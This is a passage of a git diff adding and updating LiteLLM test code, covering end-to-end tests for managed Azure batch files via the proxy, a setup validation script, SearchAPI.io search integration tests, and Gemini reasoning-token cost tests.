= [f"{h:<{col_width}}" for h in headers] + print("│ " + " │ ".join(header_parts)) + self._print_columns(columns, col_width) + + +def get_batch_model_names(): + if use_mock_models(): + return [ + "azure-fake-gpt-5-batch-2025-08-07", + ] + return [ + "gpt-5-batch-2025-08-07", + ] + + +class ManagedFilesBase(BaseLiteLLMIntegrationTest): + """Base class with shared helpers for managed files and batch tests.""" + + @pytest.fixture(autouse=True) + def setup_test(self, request): + print( + f"Base URL: {self.base_url}, Using mock models: {use_mock_models()}\n", + ) + + def create_state_tracker(self) -> "StateTracker | NoOpStateTracker": + """Create a StateTracker for observing DB, Provider, and S3 state. + + Returns a NoOpStateTracker if USE_STATE_TRACKER is not 'true' or + if DATABASE_URL is not set. + """ + use_tracker = os.environ.get("USE_STATE_TRACKER", "").lower() == "true" + if not use_tracker: + return NoOpStateTracker() + + database_url = os.environ.get("DATABASE_URL") + if not database_url: + print("Warning: DATABASE_URL not set, state tracking disabled") + return NoOpStateTracker() + try: + db_state = ManagedFilesState(database_url) + db_tracker = BatchDbStateTracker(db_state) + provider_tracker = BatchProviderStateTracker(self.openai_client) + + s3_tracker = None + try: + mock_url = get_mock_server_base_url() + s3_tracker = BatchS3StateTracker(mock_url) + except Exception: + pass + + return StateTracker(db_tracker, provider_tracker, s3_tracker) + except Exception as e: + print(f"Warning: Could not create state tracker: {e}") + return NoOpStateTracker() + + def create_openai_client_with_key(self, api_key: str) -> openai.OpenAI: + """Create an OpenAI client with a specific API key.""" + return openai.OpenAI( + base_url=self.base_url, + api_key=api_key, + http_client=httpx.Client(verify=self._get_ssl_verify_setting()), + ) + + def create_batch_request_file_on_disk(self, tmpdir, model: str): + request_id = self.generate_request_id() + batch_request = { + "custom_id": request_id, + "method": "POST", + "url": "/v1/chat/completions", + "body": { + "model": model, + "messages": [ + {"role": "user", "content": "What is 2+2?"}, + ], + }, + } + + request_file = os.path.join(tmpdir, f"request-{request_id}.jsonl") + with open(request_file, "w") as f: + f.write(json.dumps(batch_request)) + + return request_file + + def create_batch_input_file( + self, + client: openai.OpenAI, + request_file: str, + expiry_seconds: int = MIN_EXPIRY_SECONDS, + target_model_names: str = None, + ): + extra_body = { + "expires_after": { + "seconds": expiry_seconds, + "anchor": "created_at", + }, + } + if target_model_names: + extra_body["target_model_names"] = target_model_names + + batch_input_file = client.files.create( + file=open(request_file, "rb"), + purpose="batch", + extra_body=extra_body, + ) + return batch_input_file + + def create_batch( + self, + client: openai.OpenAI, + input_file_id: str, + expiry_seconds: int = MIN_EXPIRY_SECONDS, + ): + batch = client.batches.create( + input_file_id=input_file_id, + endpoint="/v1/chat/completions", + completion_window="24h", + extra_body={ + "output_expires_after": { + "seconds": expiry_seconds, + "anchor": "created_at", + }, + }, + ) + return batch + + def wait_for_batch_state( + self, + client: openai.OpenAI, + batch_id: str, + expected_status: str, + max_seconds: int = 60, + wait_seconds: int = 5, + state_tracker: "StateTracker | NoOpStateTracker | None" = None, + ): + if state_tracker is None: + state_tracker = NoOpStateTracker() + poll_count = 0 + for attempt in Retrying( + stop=stop_after_delay(max_seconds), + wait=wait_fixed(wait_seconds), + ): + with attempt: + poll_count += 1 + batch_response = client.batches.retrieve(batch_id=batch_id) + print( + f"[{time.strftime('%H:%M:%S')}] Poll #{poll_count}: Batch status: {batch_response.status}, expected: {expected_status}", + ) + state_tracker.print_state( + f"Poll #{poll_count} - status: {batch_response.status}", + ) + if batch_response.status == expected_status: + return batch_response + if batch_response.status in ["failed", "expired", "cancelled"]: + raise Exception( + f"Batch failed with status: {batch_response.status}", + ) + raise Exception(f"Batch not in {expected_status} state yet") + return None + + def wait_for_batch_completed( + self, + client: openai.OpenAI, + batch_id: str, + max_seconds: int = 120, + wait_seconds: int = 5, + ): + return self.wait_for_batch_state( + client, + batch_id, + "completed", + max_seconds, + wait_seconds, + ) + + def shorten_id(self, id_str: str) -> str: + if id_str is None: + return "None" + if len(id_str) <= 20: + return id_str + return id_str[:8] + "..." + id_str[-8:] + + def reset_mock_server(self): + if not use_mock_models(): + return + print("Resetting mock server state...") + reset_response = httpx.post(f"{get_mock_server_base_url()}/reset") + assert reset_response.status_code == 200, f"Reset failed: {reset_response.text}" + + def print_file_metadata(self, file_obj, label="File"): + print(f"{label} metadata:") + print(f"\tid={self.shorten_id(file_obj.id)}") + print(f"\tobject={file_obj.object}") + print(f"\tbytes={file_obj.bytes}") + print(f"\tfilename={file_obj.filename}") + print(f"\tpurpose={file_obj.purpose}") + print(f"\tstatus={file_obj.status}") + print(f"\tcreated_at={file_obj.created_at}") + print(f"\texpires_at={file_obj.expires_at}") + if file_obj.status_details: + print(f"\tstatus_details={file_obj.status_details}") + + def print_batch_metadata(self, batch): + print("Batch metadata:") + print(f"\tid={self.shorten_id(batch.id)}") + print(f"\tstatus={batch.status}") + print(f"\tendpoint={batch.endpoint}") + print(f"\tcompletion_window={batch.completion_window}") + print(f"\tinput_file_id={self.shorten_id(batch.input_file_id)}") + print(f"\tcreated_at={batch.created_at}") + print(f"\texpires_at={batch.expires_at}") + print(f"\tin_progress_at={batch.in_progress_at}") + print(f"\tcompleted_at={batch.completed_at}") + print(f"\toutput_file_id={self.shorten_id(batch.output_file_id)}") + print(f"\trequest_counts={batch.request_counts}") + + def wait_for_batch_list(self, model_name, max_seconds=90, wait_seconds=10): + for attempt in Retrying( + stop=stop_after_delay(max_seconds), + wait=wait_fixed(wait_seconds), + ): + with attempt: + batches_list = self.openai_client.batches.list( + limit=10, + # extra query is not supported by managed batches + # extra_query={"target_model_names": model_name}, + ) + print( + f"Batches in list: {len(batches_list.data)}", + ) + if len(batches_list.data) == 0: + raise Exception("No batches found in list yet") + print("Batches in list:") + for batch in batches_list.data: + print( + f" ID: {self.shorten_id(batch.id)} Status: {batch.status}, Created at: {batch.created_at}, Completed at: {batch.completed_at}", + ) + return batches_list + return None + + def wait_for_batch_in_list( + self, + client: openai.OpenAI, + batch_id: str, + max_seconds: int = 10, + wait_seconds: float = 0.5, + ): + """Wait for a specific batch to appear in the batch list. + + This handles the race condition where batch creation returns before + the database insert completes (due to asyncio.create_task). + """ + for attempt in Retrying( + stop=stop_after_delay(max_seconds), + wait=wait_fixed(wait_seconds), + ): + with attempt: + batches_list = client.batches.list(limit=20) + batch_ids = [b.id for b in batches_list.data] + if batch_id not in batch_ids: + raise Exception( + f"Batch {self.shorten_id(batch_id)} not found in list yet", + ) + return batches_list + return None \ No newline at end of file diff --git a/tests/proxy_e2e_azure_batches_tests/test_proxy_e2e_azure_batches.py b/tests/proxy_e2e_azure_batches_tests/test_proxy_e2e_azure_batches.py new file mode 100644 index 00000000000..262c55efc5d --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/test_proxy_e2e_azure_batches.py @@ -0,0 +1,323 @@ +import base64 +import os +import sys +import time +import warnings + +import httpx +import openai +import pytest +from tenacity import RetryError + +sys.path.insert(0, os.path.abspath("../..")) + +from base_integration_test import ( + get_mock_server_base_url, + model_id, + use_mock_models, + UserKeyTestMixin, +) +from test_managed_files_base import ( + ManagedFilesBase, + MIN_EXPIRY_SECONDS, + get_batch_model_names, +) + +MANAGED_FILE_ID_PREFIX = "litellm_proxy" + +pytestmark = [ + pytest.mark.usefixtures("mock_azure_server", "litellm_proxy_server"), + pytest.mark.skipif( + os.environ.get("SKIP_E2E_TESTS", "false").lower() == "true", + reason="E2E tests disabled via SKIP_E2E_TESTS env var" + ), +] + + +def is_managed_id(file_id: str) -> bool: + """Check if a file ID is a base64-encoded LiteLLM managed/unified ID.""" + try: + padded = file_id + "=" * (-len(file_id) % 4) + decoded = base64.urlsafe_b64decode(padded).decode() + return decoded.startswith(MANAGED_FILE_ID_PREFIX) + except Exception: + return False + + +def assert_managed_id(file_id: str, label: str): + assert is_managed_id(file_id), f"{label} should be a managed ID, got raw: {file_id}" + + +def wip_features_enabled() -> bool: + return os.environ.get("WIP_FEATURES", "").lower() == "true" + + +class TestManagedFilesAPI(ManagedFilesBase, UserKeyTestMixin): + @classmethod + def setup_class(cls): + super().setup_class() + cls.setup_admin_client() + + @classmethod + def teardown_class(cls): + cls.teardown_admin_client() + + @pytest.fixture(autouse=True) + def setup_test(self): + print( + f"\nBase URL: {self.base_url}, Using mock models: {use_mock_models()}", + ) + self.clear_s3_callbacks() + + user_id, api_key, user_email, client = self.create_user_key_and_client( + "e2e-batch", + ) + self.test_user_id = user_id + self.openai_client = client + print(f"Using user {user_email} (id={user_id})") + + def _create_and_verify_batch_input_file(self, tmp_path, model_name): + request_file = self.create_batch_request_file_on_disk(tmp_path, model_name) + + print("Creating batch input file...") + batch_input_file = self.create_batch_input_file( + self.openai_client, + request_file, + MIN_EXPIRY_SECONDS, + target_model_names=model_name, + ) + print(f"Created batch input file: {self.shorten_id(batch_input_file.id)}") + assert_managed_id(batch_input_file.id, "batch_input_file.id") + + print("Retrieving batch input file metadata...") + metadata = self.openai_client.files.retrieve(batch_input_file.id) + assert_managed_id(metadata.id, "files.retrieve(input).id") + assert metadata.id == batch_input_file.id, ( + f"Input file ID mismatch: retrieve returned '{metadata.id}' but expected '{batch_input_file.id}'" + ) + assert metadata.object == "file" + assert metadata.bytes > 0, "bytes not set" + assert metadata.filename == "modified_file.jsonl" + assert metadata.purpose == "batch" + assert metadata.status in ["uploaded", "processed", "error"] + assert metadata.created_at > 0 + if wip_features_enabled(): + assert metadata.expires_at > 0, "expires_at not set" + self.print_file_metadata(metadata, "Input file") + + return batch_input_file + + def _create_and_verify_batch(self, input_file_id): + print("\nCreating batch...") + batch = self.create_batch( + self.openai_client, + input_file_id, + MIN_EXPIRY_SECONDS, + ) + print(f"Created batch: {self.shorten_id(batch.id)}") + + assert batch.id, "No batch ID returned" + assert_managed_id(batch.id, "batch.id") + assert_managed_id(batch.input_file_id, "batch.input_file_id") + assert batch.input_file_id == input_file_id, "batch.input_file_id mismatch" + assert batch.status in ["validating", "in_progress", "finalizing", "completed"] + if not batch.expires_at: + warnings.warn("batch expires_at not set") + else: + assert batch.expires_at > 0 + if not batch.endpoint: + warnings.warn("batch.endpoint empty - Azure API quirk, not a bug") + else: + assert batch.endpoint == "/v1/chat/completions" + assert batch.completion_window == "24h" + assert batch.created_at > 0 + self.print_batch_metadata(batch) + + return batch + + def _list_batches(self, batch_id, model_name): + if not wip_features_enabled(): + return + print("\nListing batches...") + try: + batches_list = self.wait_for_batch_list( + model_name, + max_seconds=30, + wait_seconds=5, + ) + batch_ids = [b.id for b in (batches_list.data if batches_list else [])] + if batch_id not in batch_ids: + warnings.warn( + f"Batch {batch_id} not found in list. " + f"batches.list returns raw IDs, not encoded IDs. raw IDs: {batch_ids}", + ) + except openai.APIError as e: + pytest.fail(f"batches.list() failed: {e}") + + def _wait_for_batch_completion(self, batch_id, tracker): + print(f"\nWaiting for batch {self.shorten_id(batch_id)} to complete...") + try: + batch_response = self.wait_for_batch_state( + self.openai_client, + batch_id, + "completed", + max_seconds=25 * 60, + wait_seconds=15, + state_tracker=tracker, + ) + except RetryError: + tracker.print_state("Timeout waiting for batch completion") + raise TimeoutError("Timed out waiting for batch to be in state: completed") + + assert_managed_id(batch_response.id, "batch_response.id") + assert batch_response.id == batch_id, ( + f"batch_response.id mismatch: got '{batch_response.id}' but expected '{batch_id}'" + ) + assert_managed_id(batch_response.input_file_id, "batch_response.input_file_id") + assert_managed_id( + batch_response.output_file_id, + "batch_response.output_file_id", + ) + + return batch_response + + def _get_and_verify_batch_output(self, output_file_id): + print("\nRetrieving batch output file metadata...") + metadata = self.openai_client.files.retrieve(output_file_id) + assert_managed_id(metadata.id, "files.retrieve(output_file_id).id") + assert metadata.id == output_file_id, ( + f"Output file ID mismatch: retrieve returned '{metadata.id}' but expected '{output_file_id}'" + ) + assert metadata.object == "file" + assert metadata.bytes > 0, "bytes not set" + assert metadata.filename, "filename not set" + assert metadata.purpose in ["batch_output", "batch"] + assert metadata.created_at > 0 + self.print_file_metadata(metadata, "Output file") + + print("\nFetching batch output file content...") + content = self.openai_client.files.content(output_file_id) + assert content.text, "No batch file content returned" + assert len(content.text) > 0, "Batch file content is empty" + print(f"Output file content ({len(content.text)} bytes):") + for line in content.text.strip().split("\n")[:3]: + print(f"\t{line}") + + return metadata + + def _delete_file(self, file_id, label, max_retries=6, retry_delay=10): + print(f"\nDeleting {label}: {self.shorten_id(file_id)}") + for attempt in range(max_retries): + try: + self.openai_client.files.delete(file_id) + return + except openai.BadRequestError as e: + if "batch_processed" in str(e) and attempt < max_retries - 1: + print( + f" File still referenced by unprocessed batch, " + f"retrying in {retry_delay}s ({attempt + 1}/{max_retries})" + ) + time.sleep(retry_delay) + else: + pytest.fail(f"files.delete({label}) failed: {e}") + except openai.APIError as e: + pytest.fail(f"files.delete({label}) failed: {e}") + + def _verify_file_deleted(self, file_id, label): + print(f"Verifying {label} is deleted...") + try: + self.openai_client.files.content(file_id) + assert False, f"{label} {file_id} still accessible after deletion" + except openai.NotFoundError: + print(f"{label} correctly not accessible after deletion") + + # ------------------------------------------------------------------ + # Tests + # ------------------------------------------------------------------ + + @pytest.mark.parametrize( + "model_name", + get_batch_model_names(), + ids=model_id, + ) + def test_e2e_managed_batch(self, tmp_path, model_name): + print( + f"\n\nStarting test with base_url={self.base_url} and model_name={model_name}\n", + ) + self.reset_mock_server() + tracker = self.create_state_tracker() + + batch_input_file = self._create_and_verify_batch_input_file( + tmp_path, + model_name, + ) + tracker.set_file_id(batch_input_file.id) + tracker.print_state("After creating batch input file") + + batch = self._create_and_verify_batch(batch_input_file.id) + tracker.set_batch_id(batch.id) + tracker.print_state("After creating batch") + + self._list_batches(batch.id, model_name) + + batch_response = self._wait_for_batch_completion(batch.id, tracker) + tracker.print_state("After batch completed") + + self._get_and_verify_batch_output(batch_response.output_file_id) + tracker.print_state("After retrieving output file") + + tracker.print_state("Final state after cleanup") + tracker.wait_and_print_s3_callbacks() + tracker.assert_batch_cost_callback() + + self._delete_file(batch_input_file.id, "input file") + self._delete_file(batch_response.output_file_id, "output file") + + self._verify_file_deleted(batch_input_file.id, "input file") + self._verify_file_deleted(batch_response.output_file_id, "output file") + + def cleanup_batches_in_database(self): + import psycopg2 + + print("Cleaning up stale batch records from database...") + try: + conn = psycopg2.connect( + host="localhost", + port=5432, + database="litellm", + user="llmproxy", + password="dbpassword9090", + ) + with conn.cursor() as cur: + cur.execute(""" + DELETE FROM "LiteLLM_ManagedObjectTable" + WHERE file_purpose = 'batch' AND status = 'validating' + """) + deleted = cur.rowcount + conn.commit() + if deleted > 0: + print(f"Deleted {deleted} stale batch records") + conn.close() + except Exception as e: + print(f"Warning: Could not clean up database: {e}") + + def clear_s3_callbacks(self): + clear_response = httpx.delete(f"{get_mock_server_base_url()}/mock-s3/callbacks") + assert clear_response.status_code == 200, ( + f"Failed to clear callbacks: {clear_response.text}" + ) + return clear_response.json() + + @pytest.mark.skipif( + True, + reason="Skipping managed files test till managed files feature is available", + ) + @pytest.mark.parametrize( + "model_name", + get_batch_model_names(), + ids=model_id, + ) + def test_error_files(self, tmp_path, model_name): + raise NotImplementedError( + "To implement. Fail a batch and retrieve the error file.", + ) \ No newline at end of file diff --git a/tests/proxy_e2e_azure_batches_tests/validate_e2e_setup.py b/tests/proxy_e2e_azure_batches_tests/validate_e2e_setup.py new file mode 100644 index 00000000000..e3991f21004 --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/validate_e2e_setup.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python +""" +Validation script for Azure Batch E2E test setup. +Run this before running the actual tests to verify all components are accessible. +""" + +import os +import sys +from pathlib import Path + +sys.path.insert(0, os.path.abspath("../..")) + +def check_imports(): + """Verify all required imports work.""" + print("Checking imports...") + try: + from base_integration_test import ( + get_mock_server_base_url, + get_litellm_base_url, + get_litellm_api_key, + ) + print(" ✓ base_integration_test imports OK") + + from test_managed_files_base import ManagedFilesBase, get_batch_model_names + print(" ✓ test_managed_files_base imports OK") + + from fixtures.mock_azure_batch_server import create_mock_azure_batch_server + print(" ✓ mock_azure_batch_server imports OK") + + import httpx + import openai + import psycopg2 + import uvicorn + print(" ✓ All external dependencies OK") + + return True + except ImportError as e: + print(f" ✗ Import error: {e}") + return False + + +def check_config_file(): + """Verify config file exists.""" + print("\nChecking config file...") + config_path = Path(__file__).parent / "fixtures" / "config.yml" + if config_path.exists(): + print(f" ✓ Config file found: {config_path}") + return True + else: + print(f" ✗ Config file not found: {config_path}") + return False + + +def check_database(): + """Verify database connection.""" + print("\nChecking database connection...") + try: + import psycopg2 + conn = psycopg2.connect( + host="localhost", + port=5432, + database="litellm", + user="llmproxy", + password="dbpassword9090", + ) + conn.close() + print(" ✓ Database connection OK") + return True + except Exception as e: + print(f" ✗ Database connection failed: {e}") + print(" Start PostgreSQL with:") + print(" docker run --name litellm-postgres -e POSTGRES_USER=llmproxy \\") + print(" -e POSTGRES_PASSWORD=dbpassword9090 -e POSTGRES_DB=litellm \\") + print(" -p 5432:5432 -d postgres:15") + return False + + +def check_ports(): + """Check if required ports are available.""" + print("\nChecking ports...") + import socket + + for port, name in [(4000, "LiteLLM Proxy"), (8090, "Mock Server")]: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + try: + s.bind(("localhost", port)) + print(f" ✓ Port {port} ({name}) is available") + except OSError: + print(f" ⚠ Port {port} ({name}) is in use (will reuse if healthy)") + return True + + +def main(): + print("=" * 70) + print("Azure Batch E2E Test Setup Validation") + print("=" * 70) + + checks = [ + check_imports(), + check_config_file(), + check_database(), + check_ports(), + ] + + print("\n" + "=" * 70) + if all(checks): + print("✓ All checks passed! Ready to run E2E tests.") + print("\nRun tests with:") + print(" cd litellm") + print(" export DATABASE_URL='postgresql://llmproxy:dbpassword9090@localhost:5432/litellm'") + print(" poetry run pytest tests/proxy_e2e_azure_batches_tests/test_proxy_e2e_azure_batches.py -vv") + return 0 + else: + print("✗ Some checks failed. Please fix the issues above.") + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/proxy_unit_tests/test_proxy_utils.py b/tests/proxy_unit_tests/test_proxy_utils.py index f7101085f0f..b2ed4f91037 100644 --- a/tests/proxy_unit_tests/test_proxy_utils.py +++ b/tests/proxy_unit_tests/test_proxy_utils.py @@ -8,6 +8,7 @@ from unittest.mock import Mock import pytest from fastapi import Request +from starlette.datastructures import State from litellm.proxy.utils import _get_docs_url, _get_redoc_url @@ -32,6 +33,7 @@ def mock_request(monkeypatch): mock_request = Mock(spec=Request) mock_request.query_params = {} # Set mock query_params to an empty dictionary mock_request.headers = {"traceparent": "test_traceparent"} + mock_request.state = State() # Real State so _safe_get_request_headers caching works monkeypatch.setattr( "litellm.proxy.litellm_pre_call_utils.add_litellm_data_to_request", mock_request ) @@ -810,6 +812,7 @@ async def test_add_litellm_data_to_request_duplicate_tags( mock_request.url.path = "/chat/completions" mock_request.query_params = {} mock_request.headers = {} + mock_request.state = State() # Setup key with tags in metadata user_api_key_dict = UserAPIKeyAuth( diff --git a/tests/search_tests/test_searchapi_search.py b/tests/search_tests/test_searchapi_search.py new file mode 100644 index 00000000000..68bd200e3c8 --- /dev/null +++ b/tests/search_tests/test_searchapi_search.py @@ -0,0 +1,270 @@ +""" +Tests for SearchAPI.io (Google Search) integration. + +Tests the SearchAPI.io search provider implementation including: +- Request transformation +- Response transformation +- Parameter mapping +- Error handling +""" +import json +import os +import sys +from unittest.mock import MagicMock, Mock, patch + +import httpx +import pytest + +sys.path.insert( + 0, os.path.abspath("../..") +) + +from litellm.llms.searchapi.search.transformation import SearchAPIConfig +from litellm.llms.base_llm.search.transformation import SearchResponse, SearchResult + + +class TestSearchAPIConfig: + """Test SearchAPI.io configuration and transformations.""" + + def test_ui_friendly_name(self): + """Test that UI friendly name is returned correctly.""" + config = SearchAPIConfig() + assert config.ui_friendly_name() == "SearchAPI.io (Google Search)" + + def test_get_http_method(self): + """Test that HTTP method is GET.""" + config = SearchAPIConfig() + assert config.get_http_method() == "GET" + + @patch("litellm.llms.searchapi.search.transformation.get_secret_str") + def test_validate_environment_with_api_key(self, mock_get_secret): + """Test environment validation with API key.""" + mock_get_secret.return_value = "test_api_key" + config = SearchAPIConfig() + headers = {} + + result = config.validate_environment(headers, api_key="test_api_key") + + assert result["Content-Type"] == "application/json" + + @patch("litellm.llms.searchapi.search.transformation.get_secret_str") + def test_validate_environment_without_api_key(self, mock_get_secret): + """Test environment validation without API key raises error.""" + mock_get_secret.return_value = None + config = SearchAPIConfig() + headers = {} + + with pytest.raises(ValueError, match="SEARCHAPI_API_KEY is not set"): + config.validate_environment(headers) + + @patch("litellm.llms.searchapi.search.transformation.get_secret_str") + def test_transform_search_request_basic(self, mock_get_secret): + """Test basic search request transformation.""" + mock_get_secret.return_value = "test_api_key" + config = SearchAPIConfig() + + result = config.transform_search_request( + query="test query", + optional_params={}, + api_key="test_api_key" + ) + + assert "_searchapi_params" in result + params = result["_searchapi_params"] + assert params["engine"] == "google" + assert params["q"] == "test query" + assert params["api_key"] == "test_api_key" + + @patch("litellm.llms.searchapi.search.transformation.get_secret_str") + def test_transform_search_request_with_max_results(self, mock_get_secret): + """Test search request transformation with max_results parameter.""" + mock_get_secret.return_value = "test_api_key" + config = SearchAPIConfig() + + result = config.transform_search_request( + query="test query", + optional_params={"max_results": 5}, + api_key="test_api_key" + ) + + params = result["_searchapi_params"] + assert params["num"] == 5 + + @patch("litellm.llms.searchapi.search.transformation.get_secret_str") + def test_transform_search_request_with_country(self, mock_get_secret): + """Test search request transformation with country parameter.""" + mock_get_secret.return_value = "test_api_key" + config = SearchAPIConfig() + + result = config.transform_search_request( + query="test query", + optional_params={"country": "US"}, + api_key="test_api_key" + ) + + params = result["_searchapi_params"] + assert params["gl"] == "us" + + @patch("litellm.llms.searchapi.search.transformation.get_secret_str") + def test_transform_search_request_with_domain_filter(self, mock_get_secret): + """Test search request transformation with domain filter.""" + mock_get_secret.return_value = "test_api_key" + config = SearchAPIConfig() + + result = config.transform_search_request( + query="test query", + optional_params={"search_domain_filter": ["example.com", "test.com"]}, + api_key="test_api_key" + ) + + params = result["_searchapi_params"] + assert "site:example.com" in params["q"] + assert "site:test.com" in params["q"] + + @patch("litellm.llms.searchapi.search.transformation.get_secret_str") + def test_transform_search_request_with_list_query(self, mock_get_secret): + """Test search request transformation with list query.""" + mock_get_secret.return_value = "test_api_key" + config = SearchAPIConfig() + + result = config.transform_search_request( + query=["test", "query"], + optional_params={}, + api_key="test_api_key" + ) + + params = result["_searchapi_params"] + assert params["q"] == "test query" + + @patch("litellm.llms.searchapi.search.transformation.get_secret_str") + def test_get_complete_url(self, mock_get_secret): + """Test URL construction with query parameters.""" + mock_get_secret.return_value = None + config = SearchAPIConfig() + + data = { + "_searchapi_params": { + "engine": "google", + "q": "test query", + "api_key": "test_key" + } + } + + url = config.get_complete_url( + api_base=None, + optional_params={}, + data=data + ) + + assert "https://www.searchapi.io/api/v1/search?" in url + assert "engine=google" in url + assert "q=test+query" in url + assert "api_key=test_key" in url + + def test_transform_search_response(self): + """Test search response transformation.""" + config = SearchAPIConfig() + + # Mock response + mock_response = Mock(spec=httpx.Response) + mock_response.json.return_value = { + "organic_results": [ + { + "title": "Test Result 1", + "link": "https://example.com/1", + "snippet": "This is a test snippet 1", + "date": "2024-01-01" + }, + { + "title": "Test Result 2", + "link": "https://example.com/2", + "snippet": "This is a test snippet 2" + } + ] + } + + result = config.transform_search_response( + raw_response=mock_response, + logging_obj=None + ) + + assert isinstance(result, SearchResponse) + assert result.object == "search" + assert len(result.results) == 2 + + # Check first result + assert result.results[0].title == "Test Result 1" + assert result.results[0].url == "https://example.com/1" + assert result.results[0].snippet == "This is a test snippet 1" + assert result.results[0].date == "2024-01-01" + assert result.results[0].last_updated is None + + # Check second result + assert result.results[1].title == "Test Result 2" + assert result.results[1].url == "https://example.com/2" + assert result.results[1].snippet == "This is a test snippet 2" + assert result.results[1].date is None + + def test_transform_search_response_empty(self): + """Test search response transformation with no results.""" + config = SearchAPIConfig() + + mock_response = Mock(spec=httpx.Response) + mock_response.json.return_value = { + "organic_results": [] + } + + result = config.transform_search_response( + raw_response=mock_response, + logging_obj=None + ) + + assert isinstance(result, SearchResponse) + assert len(result.results) == 0 + + def test_append_domain_filters(self): + """Test domain filter appending logic.""" + config = SearchAPIConfig() + + query = "test query" + domains = ["example.com", "test.com"] + + result = config._append_domain_filters(query, domains) + + assert "(test query)" in result + assert "site:example.com" in result + assert "site:test.com" in result + assert "OR" in result + assert "AND" in result + + +@pytest.mark.skipif( + os.environ.get("SEARCHAPI_API_KEY") is None, + reason="SEARCHAPI_API_KEY not set in environment" +) +class TestSearchAPIIntegration: + """Integration tests for SearchAPI.io (requires API key).""" + + def test_real_search_request(self): + """ + Test a real search request to SearchAPI.io. + This test is skipped if SEARCHAPI_API_KEY is not set. + """ + import litellm + + response = litellm.search( + query="Python programming", + search_provider="searchapi", + max_results=5 + ) + + assert response is not None + assert hasattr(response, "results") + assert len(response.results) > 0 + assert all(hasattr(r, "title") for r in response.results) + assert all(hasattr(r, "url") for r in response.results) + assert all(hasattr(r, "snippet") for r in response.results) + + +if __name__ == "__main__": + pytest.main([__file__, "-v"]) diff --git a/tests/test_litellm/litellm_core_utils/llm_cost_calc/test_llm_cost_calc_utils.py b/tests/test_litellm/litellm_core_utils/llm_cost_calc/test_llm_cost_calc_utils.py index 7e8848be301..2e033b6f068 100644 --- a/tests/test_litellm/litellm_core_utils/llm_cost_calc/test_llm_cost_calc_utils.py +++ b/tests/test_litellm/litellm_core_utils/llm_cost_calc/test_llm_cost_calc_utils.py @@ -33,8 +33,8 @@ sys.path.insert( ) # Adds the parent directory to the system path from litellm.litellm_core_utils.llm_cost_calc.utils import ( - _calculate_input_cost, PromptTokensDetailsResult, + _calculate_input_cost, calculate_cache_writing_cost, generic_cost_per_token, ) @@ -127,6 +127,52 @@ def test_reasoning_tokens_gemini(): ) +def test_reasoning_tokens_gemini_3_1_flash_lite(): + """Test cost calculation for gemini-3.1-flash-lite-preview with reasoning tokens""" + model = "gemini-3.1-flash-lite-preview" + custom_llm_provider = "gemini" + os.environ["LITELLM_LOCAL_MODEL_COST_MAP"] = "True" + litellm.model_cost = litellm.get_model_cost_map(url="") + + usage = Usage( + completion_tokens=1000, + prompt_tokens=500, + total_tokens=1500, + completion_tokens_details=CompletionTokensDetailsWrapper( + accepted_prediction_tokens=None, + audio_tokens=None, + reasoning_tokens=400, + rejected_prediction_tokens=None, + text_tokens=600, + ), + prompt_tokens_details=PromptTokensDetailsWrapper( + audio_tokens=None, cached_tokens=None, text_tokens=500, image_tokens=None + ), + ) + model_cost_map = litellm.model_cost[model] + prompt_cost, completion_cost = generic_cost_per_token( + model=model, + usage=usage, + custom_llm_provider=custom_llm_provider, + ) + + assert round(prompt_cost, 10) == round( + model_cost_map["input_cost_per_token"] * usage.prompt_tokens, + 10, + ) + assert round(completion_cost, 10) == round( + ( + model_cost_map["output_cost_per_token"] + * usage.completion_tokens_details.text_tokens + ) + + ( + model_cost_map["output_cost_per_reasoning_token"] + * usage.completion_tokens_details.reasoning_tokens + ), + 10, + ) + + def test_image_tokens_with_custom_pricing(): """Test that image_tokens in completion are properly costed with output_cost_per_image_token.""" from unittest.mock import patch diff --git a/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_content_after_stop_reason.py b/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_content_after_stop_reason.py index 4a170d666f5..eadc0da2f1f 100644 --- a/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_content_after_stop_reason.py +++ b/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_content_after_stop_reason.py @@ -23,7 +23,7 @@ sys.path.insert(0, os.path.abspath("../../../../..")) from litellm.llms.anthropic.experimental_pass_through.adapters.streaming_iterator import ( AnthropicStreamWrapper, ) -from litellm.types.utils import Delta, ModelResponse, StreamingChoices, Usage +from litellm.types.utils import Delta, ModelResponseStream, StreamingChoices, Usage class MockCompletionStreamWithContentAfterStopReason: @@ -32,16 +32,14 @@ class MockCompletionStreamWithContentAfterStopReason: def __init__(self): self.responses = [ # Initial text content - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content="Hello"), index=0, finish_reason=None ) ], ), - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content=" world"), index=0, finish_reason=None @@ -49,8 +47,7 @@ class MockCompletionStreamWithContentAfterStopReason: ], ), # Message delta with stop_reason AND usage (this is how it actually comes from the API) - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content=""), index=0, finish_reason="stop" @@ -60,8 +57,7 @@ class MockCompletionStreamWithContentAfterStopReason: ), # Additional content after the stop_reason - this simulates the scenario # where there might be additional content blocks after the main response - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content=" Additional content"), diff --git a/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_parallel_tool_calls.py b/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_parallel_tool_calls.py index 9d4e58f3c88..1d25d719384 100644 --- a/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_parallel_tool_calls.py +++ b/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_parallel_tool_calls.py @@ -10,7 +10,7 @@ from litellm.llms.anthropic.experimental_pass_through.adapters.streaming_iterato ) from litellm.types.utils import ( Delta, - ModelResponse, + ModelResponseStream, StreamingChoices, Usage, ChatCompletionDeltaToolCall, @@ -19,7 +19,7 @@ from litellm.types.utils import ( class MockCompletionStream: - def __init__(self, responses: List[ModelResponse]): + def __init__(self, responses: List[ModelResponseStream]): self.responses = responses self.index = 0 @@ -44,9 +44,8 @@ class MockCompletionStream: return response 